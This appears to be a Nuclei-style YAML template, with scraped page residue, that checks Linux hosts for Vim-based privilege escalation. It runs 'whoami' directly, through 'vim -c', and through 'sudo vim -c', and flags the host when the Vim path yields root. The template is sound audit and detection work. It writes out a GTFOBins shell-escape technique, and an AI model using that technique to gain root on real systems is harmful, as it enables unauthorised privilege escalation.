47 lines
852 B
YAML
47 lines
852 B
YAML
|
id: privesc-vim
|
||
|
|
||
|
info:
|
||
|
name: Vim - Privilege Escalation
|
||
|
author: daffainfo
|
||
|
severity: high
|
||
|
description: |
|
||
|
Vim is a highly configurable, modal text editor based on the vi editor.
|
||
|
reference:
|
||
|
- https://gtfobins.github.io/gtfobins/vim/
|
||
|
metadata:
|
||
|
verified: true
|
||
|
tags: code,linux,vim,privesc
|
||
|
|
||
|
self-contained: true
|
||
|
code:
|
||
|
- engine:
|
||
|
- sh
|
||
|
- bash
|
||
|
source: |
|
||
|
whoami
|
||
|
|
||
|
- engine:
|
||
|
- sh
|
||
|
- bash
|
||
|
source: |
|
||
|
vim -c '!whoami'
|
||
|
|
||
|
- engine:
|
||
|
- sh
|
||
|
- bash
|
||
|
source: |
|
||
|
sudo vim -c '!whoami'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: code_1_response
|
||
|
words:
|
||
|
- "root"
|
||
|
negative: true
|
||
|
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'contains(code_2_response, "root")'
|
||
|
- 'contains(code_3_response, "root")'
|
||
|
condition: or
|